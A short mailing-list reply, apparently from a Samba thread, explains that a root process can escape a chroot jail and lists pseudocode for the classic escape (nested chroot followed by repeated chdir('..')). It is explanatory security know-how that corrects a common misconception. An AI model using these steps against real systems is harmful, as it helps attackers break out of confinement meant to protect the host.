BUG: Wide Links - does not work as documented

[Peter Samuelson]

[Mayers, P J]
> I was under the impression chroot'ing back out was impossible.

Not for root.  It's a common misconception.  chroot() does buy you
*some* security, mostly by making it harder to crack root (you can take
out all device files and setuid executables).  Once you've cracked
root, it's easy to get out:

  # Earlier...
  chdir("/some/chroot/testdir")
  chroot("/some/chroot/testdir")

  # Now we're in a chroot jail.  Time to break out.
  mkdir("xxx")
  chroot("xxx")
  # Look, we made a new chroot jail.  And we're outside it.
  # Which means chdir("..") will *not* get trapped....
  chdir("../../../../../../../../../..")
  chdir("../../../../../../../../../..")
  chdir("../../../../../../../../../..")
  # Assume we've hit the root directory by now.
  chroot(".")

Peter